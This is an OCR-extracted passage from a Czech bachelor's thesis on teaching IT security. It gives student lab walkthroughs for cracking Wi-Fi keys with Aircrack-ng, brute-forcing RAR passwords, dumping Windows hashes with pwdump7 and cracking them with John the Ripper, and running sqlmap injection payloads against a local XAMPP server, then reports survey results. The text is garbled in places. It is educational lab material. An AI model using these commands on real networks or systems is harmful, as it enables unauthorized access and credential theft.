S ol bave aircrack-ng.exe 10. dubna 2015 5:17 H7KB  Mid
@) Airbrop airdecap-ng.exe 10. dubna 2015 5:17 171kB  Mi
:A{ Aplikace airdecloak-ng.exe 10. dubna 2015 5:17 150kB  Mig
. aireplay-ng.exe 10. dubna 2015 5:18 494 kB Mi
Rl airodump-ng.exe 10. dubna 2015 5:18 462kB  Mi
@ Dokumenty airolib-ng.exe 10. dubna 2015 5:18 221kB  Mi
o Stahovani airserv-ng.exe 10. dubna 2015 5:18 192 kB Mi
airtun-ng.exe 10. dubna 2015 5:18 340 kB Mi
7 Hudba besside-ng.exe 10. dubna 2015 5:18 43kB M
@ Obrazky buddy-ng.exe 10. dubna 2015 5:18 99kB  Mi
m L likaaBazdex cygcerypto-1.0.0.dIl 19. ?fezna 2015 9:34 2MB M?
cyggec_s-1.dll 3. bfezna 2015 10:04 110kB Mi
Zafizeni cygpcre-1.dil 8. prosince 2014 16:16 282kB  Mi
(I Lukés - MacBo... cygsqlite3-0.dll 27. Gnora 2015 1:28 807kB  Mi
cygssp-0.dll 3. bfezna 2015 10:07 13kB  Mi
Vzdéleny disk cygwint.dil 4. brezna 2015 3:08 33MB  Mi
M cxﬁz.dll 19. Iistogadu 2014 14:57 85 kB Mia

2. Po spusténi programu si muzeme vybrat, jaky druh zabezpeceni budeme
testovat (WEP nebo WPA), dale si mlizeme v pokrocilém nastaveni

zvolit, zda

chceme  pouzit

Aircrack-ng | Airodump-ng I Airdecap-ng I WZCook I About |

slovnik

nebo  hrubou  silu.

Filename(s) |

Encryption (@) WEP

) WPA

Advanced options

[] Specify ESSID
[] Specify BSSID

Fudge factor

Disable Korek
attacks

Key size |[128 bits

W

[N]

Key search filter

]

"~

[] BCD characters
[] Mumeric {Fritz!BOX)

OO000O000
00 =] 0 N b L R =
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] Use wordlist

[ Alphanumeric characters

| | Choose...

[] Use PTW attack

Bruteforce

Last keybytes 1
bruteforce

=
Multithreading bruteforce
(] Single Bruteforce attack

Launch




3. Po zaskrtnuti ,,Use wordlist se nam otevie dalsi nabidka, kde si budeme
moc vybrat, jaky slovnik pouzijeme. Je na nas, zda si vytvoiime vlastni
slovnik v obyéejném poznamkovém bloku, nebo si stdhneme rozsahlé
slovniky z internetu. My si zvolime pfedem piipraveny slovnik, ktery je
piipraveny v kurzu moodle. Do horniho pole zvolnime soubor ze slozky
,test v adresafi ,,aircrack” podle toho, jaké zabezpeCeni ma dana wi-fi
sit. V tomto piipad¢ se jedna o WEP zabezpeceni s predem sdilenym

klicem.
a Aircrack-ng GUI - = “
Aircrack-ng | Airodump-ng | Airdecap-ng | WZCook | About
Filename(s) |“\psf\Home\Downloads'aircrackng-1.2+1c2-win‘test\wep shared key authentication .cap Choose...
Encryption (@) WEF Key size 128 v | bits Use wordlist Use PTW attack
) WPA
Wordlist “WosfHome\Desktop GDict_v2 te Choose...

Advanced options
[] Specify ES5ID
[] Specify BSSID

Launch

4. Pokud je vSe spravné nastavené, po kliknuti na tlacitko ,,Launch* se
spusti v ptikazovém fadku zjistovani kli¢e. V horni ¢asti uvidime ¢as, jak
dlouho test bézi a kolik kli¢i jiz bylo vyzkouseno.

l @ C:\Windows\System32\cmd.exe - "\\psf\Home\Downloads\aircrack-ng-1.2-rc2-win\bin\aircrack-ng.exe.. = = n

Reading packets, please wait...
Aircrack-ng 1.2 rc2

[00:00:07] 14256 keys tested (1821.77 k/s)
Current passphrase: OArsenaly

Master Key : FB 15 48 54 CE 9B 7B 22 4E 89
B9 34 9F A6

Transient Key : cs 77 E1
ec ET CO !
42 54 7
64 F9 S5F

EAPOL HMAC : E6 E8 FC

42



5. Prolamovani hesla bude trvat v zavislosti na sile hesla. U WEP
zabezpeceni to zadna zavratna doba nastésti nebude. Az Aircrack zjisti
heslo, vypiSe nasledujici hlasku, kde se dozvime, ze kli¢ byl nalezen.

B Administrator: C:\Windows\System32\cmd... — ©

Reading packets, please wait...
Aircrack-ng 1.2 rc2

B2] 17009076 keys tested (1762.35 k/s)

KEY FOUND! [ dictionary ] |

Master Key

Transient Key

EAPOL HMAC

C:\Windows>

6.4.3 Dokonceni ulohy

Pokud jste uspésné zvladli prolomit heslo do pfipraveného routeru, muzete si
otestovat, jak dlouho Vam bude trvat slozit&j$i heslo. Pfipadné mlZeme router
pfenastavit na WPA/WPA2 zabezpeceni. Prolomit WPA v n&jaké rozumné dobé neni
vibec jednoduché, proto je tato ¢ast tlohy spiSe pro domaci testovani. Pii zkouSce
prolomeni WPA2 zabezpeceni, které trvalo pifes 90 minut a vyzkouSel né&kolik
miliont kli¢i bohuzel Aircrack neuspél.

W
Reading pack

[01:28:50] 8542632 keys tested (1763.63 k/s)

me\Downloads\aircrack-ng-1.2-rc2-win\bin\airc -
Rircrack-ng 1.2 re2
. Aircrack-ng GUI - ‘Th
Hrowckng Aedscapng | W2 0.
.

Current passphrase: 1loueANDERSON46

=3

Master Key 1F 1C D3 ES 22 74 BF F6 67 A1 1B OE 7A 66 C5 CB
28 21 E1 1A EY4 8B E7 B2 36 6A 08 OF E7 FA F8 F4

Transient Key 8D 88 27 B3 B4 OE 56 E9 DB DE D4 A7 E@ BF BO CF
FB 16 E3 C5 3E DE A1 37 CF 7E DF B6 9F DF AR 7B
CD 2R 36 C9 94 AO AS BT BO SF CC FC 91 84 BC 9D
8B 64 7F DD 31 7F BS BC A2 7E 3B 13 61 47 26 DC

EAPOL HMAC 44 06 F6 E9 42 1F ©7 OA E8 6B FD 16 1B 6E FA FE
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6.5 Uloha ¢. 5 - Zjistovani hesel kzabezpeCenym
souborim
Tato ¢ast slouzi k vyzkouseni jednoduchych programa John the Ripper a RAR

password recovery, které se snazi prolamovat hesla u zabalanych souborti rar a
systémi Windows.

6.5.1 Zadani

Diky témto programim otestujte silu svych hesel. Vyzkousejte, jak dlouho bude
trvat, prolamovani hesla do souboru RAR a jak dlouho potrva, nez John the Ripper
prolomi heslo do systému Windows

6.5.2 Postup
1. Stahnéte a nainstalujte si RAR password recovery. Pouziti tohoto
programu je velice jednoduché a pomérné rychlé. V nastaveni si mizeme
vybrat, které znaky ma program otestovat (Cislice, velk4d pismena, mala
pismena, znaky,...), a od jaka délky hesla ma program zacinat.

Y Free RAR Password Recovery - =
File Action Tools Help

Start Stop Open Save Settings... Help About... Exit

Encrypted RAR Archive: Recovery Type:
\\psfiHome\Desktop\gratuluju.rar Browse... (@) Brute-force Mask (Pro) Dictionary (Pro)

Charset: Start Options
[ ILatin (abe...) Minimal Length: | 1 =
| |Caps latin (ABC...)
| |Space Start from: 1 Clear
| | Digits (123...) Mask
[ ]Other Symbols (@#$...) Clear

Custom (User Defined)...

Dictionary
@ Eaat Save C:\Program Files (x86)\Free RAR Browse...

Priority: Status:

Background work

Minimize to Tray

Recovery stopped

Need more powerful password recovery tool with dictionary and mask attacks? Free vs Pro

P[,agk RAR Password Recovery

2. Vytvotime si vlastni soubor rar a nastavime libovolné heslo (poditejte

vvvvvv

pracovat). Pro nasi zkouSku zvolime jednoduché heslo. V programu
vybereme, jaky soubor mé otevfit, a nastavime jaké pismena, ¢i Cislice ma
testovat. Poté stiskneme tlacitko ,,Start” a sledujeme, jaké kombinace
program zrovna testuje.

44



3. V naSem testu bylo pouzito jednoduché heslo, i tak se doba prolomeni
pohybovala okolo 10 minut. Po Gspé$sném rozlusténi program nabizi
moznost ulozit heslo do jeho databaze a tim zabrdnit opétovnému
zapomenuti hesla pro dany soubor.

] Free RAR Password Recovery - -
File Action Tools Help
Stop ‘ Open H Save H Settings... H Help H About... H Exit
Encrypted RAR Archive: Recovery Type:

‘\\psf\Home\Desktop\gratuIuju.rar H Browse... ‘ (®) Brute-force Mask (Pro) Dictionary (Pro)

Charset: Start Options
D Latin (abc...)

D Caps latin (ABC...
| |Space

Digits (123...)

| |Other Symbols (@

Free RAR Password Recovery has successfully recovered the password!

Custom (User De

12345
0123456789 Password: ‘ ‘ Copy ‘ | Save...
File: ‘ \\psf\Home\Desktop\gratuluju.rar ‘ ‘ Open... ‘ | Extract...
Clear -
. e ‘ RAR Archive ‘
Priority:
Low KRyLack

Background work =
1le format:

Minimize to Tray

Time Elapsed: Average Speed:

| Recovery stopped ‘

Free vs Pro

Need more powerful password recovery tool with dictionary and mask attacks?

.gk RAR Pagsword Recovery

1. V dalsi césti tohoto testu se pokusime =ziskat piihlaSovaci heslo
k Windows uctu. Pro tyto ucely pouzijeme program John the Ripper.

Piiprava bude o néco slozit&jsi. Stdhneme si z moodlu slozku John the
Ripper a Dump. Tyto slozky pfesuneme na disk C:

;
l
;
l
/
/
/
/
/

cygwinb4 18. 6. 2015 8:07 Slozka souborti
. dump 18. 6. 2015 10:46 Slozka soubort
GOG Games 24.4.2015 0:54 Slozka souborl
. john179j5 18. 6. 2015 8:29 Slozka soubort
PerflLogs 22.8.2013 17:22 Slozka souborti

Program Files

Program Files (x86)

17.6.2015 13:07
17.6.2015 13:29

Slozka soubort

Slozka soubort

Users 23.4.2015 23:51 Slozka soubortl
Windows 18.6.2015 8:33 Slozka soubortl

_ John 18. 6. 2015 8:31 Soubor

| wepkeys 17.6.201522:33 Textovy dokument
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2. Do obou slozek ptekopirujeme program ,cmd.exe”, ktery nalezneme
Vv kotenové slozce systému. Dulezité je, abychom ,,.cmd.exe® poustéli
vzdy, jako administrator. Prvni pustime ,,cmd.exe® v souboru ,,dump* a
napiSeme nasledujici piikaz: pwdump7>pwd.txt. To nam vytvoii soubor
pwd.txt ve slozce, ktery otevieme.

C\dump\cmd.exe - = -

Systém nemliZe nalézt text zpriuy €islo 0x2350 vasouboru zprau pro Application. o~

(c) 2013 Microsoft Corporation. Usechna préva vyhrazena.
Ke zpracovani tohoto pFikazu neni dostateény prostor.

C:\dump>pwdump7>pwd. txt

Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna

url: http://www. 514 . es

C:\dump>_

3. Vsouboru pwd.txt uvidime soupis U¢tdh na daném pc. Text v ném

upravime podle nasledujicich obrazk.

%dminis‘tr‘ator‘: 500:NO PASSWORD*¥* ¥k xxkkxxkkxxkxx :31D6CFEOD16AE931B73C59D7EQCABOCO: : :
Guest:501:NO PASSWORD ¥k kkkskkkkskkkkkkkkkkk - NO PASSWORD ** ¥k dk sk koo ok « +
Lukaa:1001:NO PASSWORD**¥* ¥ xkxkkxxkkxx*x*: \7FC79E26786D545B20F 2DD930F34366: : :

Administrator:500:31D6CFEOD16AE931B73C59D7EQCOB9CO: : :
Lukda:1001): A7FC79E26786D545B20F2DD930F34366: : :

4. Takto upraveny soubor ulozime a ptekopirujeme do slozky ,,john“ a
podslozky ,,run®. Uzavieme piikazovy fadek v souboru ,,dump®. Otevieme
slozku ,,john* a ,,run* a v ném ,,cmd.exe* op€t jako administrator

cn— N = — (o | >
C:\john179j5\run\cmd.exe -
Systém nemiZe nalézt text zprauy Eislo 0x2350 vasouboru zprau pro Application. s

(c) 2013 Microsoft Corporation. Usechna prava vyhrazena.
Ke zpracouvani tohoto pFikazu neni dostateén prostor.

C:%\john179jS\run>
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5. Zde zaddme nasledujici ptikaz: ,john pwd.txt a odentrujeme. John the
Ripper zacne zkousSet jednotlivd hesla. Toto zabere néjaky cas. Pokud
stiskneme enter znova, vypise se nam momentalni stav procesu.

C:\john179j5\run\cmd.exe - john pwd.txt — =

Systém nemlZe nalézt text zpravy éislo Bx2350 vasouboru zprav pro Application.

(c) 2013 Microsoft Corporation. Usechna prava vyhrazena.
Ke zpracovani tohoto prikazu neni dostateéng prostor.

C:\john179jS\run>john puwd.txt

3 [main] john 4576 find_fast_cwd: WARNING: Couldn't compute FAST_CUWD point
er. Please report this problem to
the public mailing list cygwin@ecygwin.com
Loaded 4 passuword hashes with no different salts (LM DES [128/128 BS S$SE2])
guesses: O time: 0:00:00:05 0.00% (3) c/fs: 65497K trying: DAKKWIR - DAKTCHE

6.5.3 Dokonceni ulohy

Vyzkousejte si na svych PC vytvofit dalsi ucty s jednoduchym heslem a opakujte
praci s programem John the Ripper. Otestujte, jak velké rozdily budou mezi
prolomenim lehkého a slozitého hesla.
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6.6 Uloha ¢ 6 - Testovani webovych aplikaci - SQL
injection

6.6.1 Zadani

Tento ukol bude slozitéjsi na ptipravu. Zaddnim je nastavit vlastni server pomoci
MySQL a Apache. Stimto nam pomuze program XAMPP, ktery dokaze oba
zminéné emulovat. Az pfipravime server, zacneme testovat odolnost proti
neopravnénému vstupu do systému. Staci postupovat dle pokynd.

6.6.2 Postup

1. Stdhneme si slozku ,xampp“ a ,mysql“. Prvni jmenovanou slozku
presuneme na disk C: a otevieme. Ve slozce otevieme soubor ,,apache® a
V ni ,,conf*. Zde otevieme soubor httpd.conf pomoci poznamkového bloku
nebo Notepad++. Vyhledame tadek 58 a ,,Listen 80“ zmé&nime na ,,Listen
8888,

57 #Listen 12.34.56.78:80
58 Listen 8888

Dale ve slozce ,,conf™ otevieme ,,extra“ a zde vyhledame ,,httpd-ssl.conf™.
Tento soubor opét otevieme a zde vyhledame fadek 39, kde zménime
,,Listen 43 na ,,Listen 4443

39 Listen 4443

2. Vratime se do slozky ,xampp®“ a spustime (jako spravce) program
»xampp-control®. Zde tlacitkem start pustime Apache a MySQL (pfipadné
povolime porty v branég firewall, pokud budeme dotazani.

XAMPP Control Panel v3.2.1  Config

Modules
&) Netstat
Service Module  PID(s) Portls) Actions @ Netsta

Apache iﬁgﬁ 4443 8388 | Stop Config | B Shel
MySQL 4312 3306 Stop Config | Explarer
FileZilla Start Config 5 £ Senices

Mercury Start Config s & Help

Tomcat Start Config [ Quit

14:07:31 [main] The FileZilla module is disabled o]
14:07:31 [main] The Mercury module is disabled

14:07:31 [main] Starting Check-Timer

14:07:31 [main] Control Panel Ready

14:07-33 [Apache] Attempting to start Apache app...

14:07:34 [Apache] Status change detected: running

14:07:36 [mysql] Attempting to start MySQL app...

14:07:36 [mysql] Status change detected: running

14:27:01 [main] Executing "c:\xampp\apache\logs”
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3. Pokud jsme vse provedli spravné, otevieme si webovy prohlize¢ a do
adresy napiSeme do adresného fadku ,,http*“//localhost:8888* a stiskneme
enter. Nasledné se otevie nasledujici stranka. To nam potvrdi, ze jsme
nastavili prozatim server spravné.

(=] XAMPP

English / Deutsch / Francais / Nederlands / Polski / Italiano / Norweqian / Espafiol / 2% / Portuqués (Brasil) / B8

4. Nyni otevieme slozku ,htdocs* v adresdii ,xampp“ a jeji obsah
vymazeme. Do této slozky poté pfesuneme druhy stazeny soubor ,,mysql®.
V ,,mysql“ vyhledame soubor ,,dbcreate a otevieme.

5. Spustime (jako spravce) ptikazovy fadek a v ném zadame piikazy podle
obrazku nize.

C:\Windows\system32>cd \xampp\mysqlibin

C:\xampp\mysqlibin>mysql.exe -u root_

Stiskneme enter a pod vygenerované tadky zkopirujeme ze souboru
,,dbcreate* nasledujici:

create database a;

use a;
create table tbl1(id int, username varchar(10@),password varchar(10@),encpassword varchar(190),description varchar(100));

insert into tbll values(1,"name","pass",md5("pass"),"description of user name");
insert into tbll values(2,"name2","pass2",md5("pass2"),"description of user name2");
insert into tbll values(3,"a","aaaaa",md5("aaaaa"),"description”);

insert into tbll values(4,"b","aaaaa",md5("aaaaa"),"description”);

Opét stiskneme enter a pokud vSe probéhlo v pofadku, miizeme piikazovy
radek uzavfit a vyzkousSet, zda nase aplikace funguje.

6. Ve webovém prohlizeci napiSeme adresu:
»http://localhost:8888/mysql/sqll/sql.html* a stiskneme enter. Otevie se
nam piihlaSovaci obrazovka, kde budeme pozadani o uZivatelské jméno a
heslo. Nejprve zkusime libovolné jméno a heslo. Prohlize¢ by nam mél
oznamit, ze se jedna o neplatné piihlaSovaci tdaje. Vratime se proto znova
na piihlasovaci stranku a zaddme jako User name: ,,name* a Password:
,pass“. Nyni dostaneme hlasku o uspésném piihlaseni. Pokud vSe funguje,
server mame nastaveny spravné a muzeme zacit s testovanim SQL
injection.
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Nyni si ukazeme, jak se dostat do ptihlaSovaci oblasti neautorizovanym
pfistupem.

1. Stdhneme a ptesuneme na disk C: slozku ,,sqlmap“ a ,,python®, ktery
nainstalujeme. Pfi instalaci zaSkrtneme instalaci python.exe.

15 Python 2.7.8 (64-bit) Setup Bl

Customize Python 2.7.8 (64-bit)

Select the way you want features to be installed.
Click on the icons in the tree below to change the way
features will be installed.

=-=-| Python
--=-1Register Extensions
=2 Te/Tk
- =-1Documentation
==l Utility Scripts
- - Test suite

eS| Add python.exe to Path

Prepend C:\Python27\ to the system Path variable.
This allows you to type 'python' into a command
prompt without needing the full path.
python
-

This feature requires OKB on your hard drive.

windows
Disk Usage Advanced < Back Cancel

2. Po nainstalovani otevieme ptikazovy fadek (jako spravce) a zadame cestu.

C:\Windows\system32>cd \sqlmap

C:\sqlmap>

Spustime ,,spglmap.py*

C:\sqlmap>sqlmap.py

Po zadani ,,sqlmap.py —hh dostaneme napovédu s vypisem piikazi pro
sglmap.

3. Nyni zaddme nésledujici ptikaz, ktery se ndm pokusi zjistit informace o
username a password. Posledni ¢ast ptikazu urcuje, jakou databazi pouziva
server (Mysql) a ptikaz level a risk nastavuje silu testu.

C:\sqlmap>sqlmap.py --url=http://localhost:8888/mysql/sqll/sql.php --datazuserna

mezaaa,password=bbb --dbms=MySQL --level:z5 --risk:3
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4. Dostaneme informacni hlasku s vypisem, jaké testy sqlmap provedl a jakou
m¢éli uspesnost.
Place: POST

Parameter: username
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAUING clause (Generic comment)
Payload: username=-6287' OR (5321=5321)--

Type: error-based

Title: MysSQaL OR error-based - WHERE or HAUING clause

Payload: username=-4884°' OR 1 GROUP BY CONCAT(Ox7175787771,(SELECT (CASE WHE
N (3689=3689) THEN 1 ELSE © END)).0x7178616571,FLOOR(RAND{©)=2)) HAUING MIN(O)#

Type: AND/OR time-based blind
Title: MysSaL < 5.0.12 AND time-based blind (heavy query - comment)
Payload: username=aaa,password=bbb‘ AND 5618=BENCHMARK(S000800,MD5(0xT71596a6

:03:11] [INFO] testing MySaL

:03:11] [INFO] confirming MysSaL

:03:12] [INFO] the back-end DBMS is MySQL

server operating system: Windows

application technology: Apache 2.4.7, PHP 5.5.6
back-end DBMS: MySGL >= 5.0.0
[19:03:12] [WARNING] cannot properly display Unicode characters inside Windows 0
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances Wi
11 result in replacement with ‘?' character. Please, find proper character repre|
sentation inside corresponding output files.
[19:03:12] [INFO] fetched data logged to text files under 'C:\Users\Luk??\.sqlmg
phoutputilocalhost’

[%] shutting down at 19:03:12

5. Abychom zjistili ndzev databéze, zadame nasledujici ptikaz
:\sqlmap>sqlmap.py --url=http://localhost:8888/mysql/sqll/sql.php --data=userns

e=aaa,password=bbb --dbms= --level=5 --risk=3 --current-db

Vysledek je nasledujici - nazev databaze je )
[19:17:58] [INFO] testing MySQL

[19:17:50] [INFO] confirming MySQL

[19:17:50] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: Apache 2.4.7, PHP 5.5.6
back-end DBMS: MySQL >= 5.0.8
[19:17:50] [INFO] fetching current database

current database: ‘a’

6. Dalsim ptikazem zjistime nazev uzivatele, ktery vlastni databazi

:\sqlmap>sqlmap.py --url=http://localhost:8888/mysql/sqll/sql.php --data=userna

.password=bbb --dbms=MysSQL --level:=5 --risk=3 --current-user
Username je ,,root@Ilocalhost*

[19:25:09] [INFO] testing MySOL

[19:25:09] [INFO] confirming MySQL
[19:25:09] [INFO] the back-end DBHMS is MySQL
web server operating system: Windows

web application technology: Apache 2.4.7, PHP 5.5.6
back-end DBMS: MySQL >z 5.0.0
[19:25:09] [INFO] fetching current user

current user: ‘root@localhost’
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7. Nasledujici ptikaz ndm vypiSe nazev tabulky a dalsi potom obsah tabulky
C:\sqlmap>sqlmap.py --url=http://localhost:8888/mysql/sqll/sql.php --datazuserna

,passuword=bbb --dbms=zMySQL --level=5 --risk:=3 --tables -D a

Vysledek

[19:26:56] [INFO] testing MySQL

[19:26:57] [INFO] confirming MySQL

[19:26:57] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: Apache 2.4.7, PHP 5.5.6
back-end DBMS: MySQL >= 5.0.8

[19:26:57] [INFO] fetching tables for database: "a’
[19:26:57] [INFO] the SQL query used returns 1 entries

Database: a
[1 table]

Ptikaz pro obsah tabulky

C:\sqlmap>sqlmap.py --url=http://localhost:8888/mysql/sqll/sql.php --data=userna
me=aaa,password=bbb --dbms=HySOL --level=5 --risk=3 --columns -D a -T tbl1i
Vysledek

[19:29:12] [INFO] fetching columns for table 'tbl1' in database 'a’
[19:29:12] [INFO] the SQOL query used returns 5 entries

Database: a
Table: tbhl1
[S columns]

description | varchar(100)
encpassuword | varchar(100)
id int(11)

password varchar(100)

username varchar(100)
.............. +
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6.6.3 Dokonceni ulohy
Posledni a zadvérecny piikaz nam vypisSe a pokusi se deSifrovat uzivatelskd jména
a hesla.

:Asqlmap>sqlmap.py --url=http://localhost:8888/mysql/sqll/sql.php --data=userna

e-aaa,password=bbb --dbms=MySQL --level=5 --risk=3 --dump -D a -T tbll

A vysledkem této SQL injection je vypis jmen a hesel zapsanych uzivateld, diky
kterému se mizeme ptihlasit do systému.

resumed: description of user nam

resumed: laldc91c9®7°25c69271ddf®c944bc72
resumed: 1

resumed: pass

resumed: name

resumed: description ser name2
resumed: cl1572d05424d 2a65Secba82aeachf
resumed: 2

resumed: pass2

resumed: name2

resumed: description

resumed: 594f803b380ad41396ed63dca39503542
resumed: 3

resumed: aaaaa

resumed: a

resumed: description

resumed: 594f803b380ad41396ed63dca39503542
resumed: 4

resumed: aaaaa

resumed:

[ o oy e Sy g e N e

9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:
9:

Vzdy vypiSe hash uzivatele, jeho potadi, heslo a jméno.
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7 Hodnoceni uloh studenty podle
dotazniku

Po vytvofeni vySe vypsanych uloh jsem poskytl Cast materiali z prednasek
predmétu Bezpecnost informacnich technologii tazateliim a poté jim predlozil vyse
vytvotené navody a potiebny software pro vykondni uloh. Po dokonceni uloh
studenti vyplnili kratky dotaznik, ve kterém hodnotili jednotlivé Glohy a poté jejich
nazor na ulohy celkové. Tento proces absolvovalo celkové 30 studentti. Nize uvedu
vysledky prizkumu.

Setkali jste se uz s pojmem bezpeénost informaéniho systému?
Ano 23 T76.7%
Ne 2 67%

Nékde jsem tento pojem zaslechl 5  16.7 %

Absolvovali jste predmét Bezpecénosti informaéniho systému s doc. Ing. Ladislavem Beranekem, CSc., MBA?

Ano 14 46.7%
Ne 16 533%

Uloha é.1 - Firewall a nastavovani filtrd - byl pro Vas navod s postupem, jak vykonat tuto Glohu uziteény?
Ano - pochopil/a jsem tuto problematiku lépe 11 36.7 %
Ano - ale problematiku jsem chapal/a uz dfive 15 50 %
Ne - ale navod byl pouzitelny 3 10 %

Ne - navod minebyl knicemu 1 33%
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Uloha &.2 - Sledovani paketii - byl pro Vas navod s postupem, jak vykonat tuto dlohu uziteény?
Ano - pochopil/a jsem tuto problematiku lépe
Ano - ale problematiku jsem chépalfa uZ dfive
Ne - ale navod byl pouZitelny

Ne - néavod mi nebyl k nig¢emu

Qe

10 333%
16 533%
3 10%
1 33%

Uloha &.3 - Sifrovani a desifrovani dat - byl pro Vas navod s postupem, jak vykonat tuto Glohu uzite&ny?

Ano - pochopil/a jsem tuto problematiku lépe
Ano - ale problematiku jsem chapal/a uz dfive
Ne - ale navod byl pouzitelny

Ne - navod mi nebyl k ni¢emu

@

14 467 %
10 333%
5 16.7%
1 33%

Uloha &.4 - Prolamovani wi-fi hesel - byl pro Vas navod s postupem, jak vykonat tuto tlohu uzite&ny?

Ano - pochopil/a jsem tuto problematiku lépe
Ano - ale problematiku jsem chapall/a uz dfive
Ne - ale navod byl pouzitelny

Ne - navod mi nebyl k ni¢emu

¢

23 76.7%
5 167%
1 33%
1 33%

Uloha &.5 - Zjistovani hesel k zabezpe&enym souboriim - byl pro Vas navod s postupem, jak vykonat tuto Glohu uziteény?

Ano - pochopil/a jsem tuto problematiku lépe
Ano - ale problematiku jsem chépalla uZ dfive
Ne - ale navod byl pouzitelny

Ne - navod mi nebyl k niéemu

24 80%
20 %
0 0%
0 0%

Uloha ¢.6 - Testovani webovych aplikaci - SQL injection - byl pro Vas navod s postupem, jak vykonat tuto dlohu uziteény?

Ano - pochopil/a jsem tuto problematiku lépe 24
Ano - ale problematiku jsem chapal/a uz dfive 5
Ne - ale ndvod byl pouzitelny 1

Ne - navod mi nebyl k nicemu 0

Jak hodnotite celkové tlohy? Pomohli Vam s lepSim pochopenim problematiky?

¢
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80 %

16.7 %
33%
0%

Ulohy hodnotim kladné, oZiveni vyuSovani nazornou ukazkou je dobré.
Celkové se mi dlohy libi, ale osobné je pfi vyu€ovani pouZivat asi nebudu
Myslim si, Ze dlohy se nebudou moc pouzivat

Tyto prikady jako oziveni vyuky jsou podle mého nazoru nepouzitelné

18 60%
10 333%
2 67%
0 0%



Jak lze vycist z graft, ulohy zkousSeli jak studenti, ktefi pfedmét Bezpecnost
informacnich technologii absolvovali, tak ti, ktefi tento predmét neméli. Celkové
hodnoceni Uloh se setkalo s pozitivnim hodnocenim, nékteré tlohy studenti ocenili
méné (tloha ¢. 1 a uloha €. 2). Naopak ulohy zabyvajici se testovanim hesel a SQL
injection se setkali s velkym uspéchem. Celkové jsem s hodnocenim studentd
spokojen a jsem rad, ze moje prace nebyla déland zbyteéné¢ a doufam, ze ulohy
budou prospésné mnoha studentim nizsich ro¢nik pii jejich studiu.
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/7 v
8 Zaver
Téma bezpecnosti informacnich technologii je velice rozsahlé a proto jsem se ho

nazil zpracovat prehledné a jednoduse a zaméfoval se pouze na okruhy zminované
Vv této bakalarské praci.

Postupoval jsem od zdkladnich pojmi, pfes rozepsani nejcastéji zminovanych
hrozeb a jejich prevence. Dale jsem se zaméfoval na to, aby pro studenty toto téma
bylo co nejvic pochopitelné a zaroven, aby i studenti, ktefi nestuduji primarn¢ tento
obor, mohli pochopit o ¢em vlastné je zabezpeCovani informacnich systémt a pro¢
by se mé¢lo dodrzovat.

Praktické ulohy jsem tvofil tak, aby bylo mozné je pouzivat na jakémkoliv
pocitaci a aby nezabrala jejich pfiprava a provedeni celou vyucovaci dobu. Proto
jsem zvolil nejpouzivanéjsi platformu Windows. Sice programy na tento systém
nejsou tak ucinné jako tfeba na platformach Linuxu, ale zase maji jednodussi
ovladani. Déle jsem také vybiral programy, které jsou k sehnani zdarma.

Do navodl pro studenty jsem umyslné¢ umistil vice screenshotli, z diitvodu vétsi
ptehlednosti v programu, neZz aby bylo sloZité popsano, kde a co uzivatel v daném
programu najde.

Po sepsani prace a hodnoceni studentil si osobné myslim, Ze tato prace splnila sviij
ucel a doufam, Ze pomilze studentim jednoduSeji a rychleji pochopit tuto
problematiku.

Veskeré pouzité programy v praktické casti piikladam v archivu RAR a budou
pfipadné nahrany na vyukovy server Moodle.
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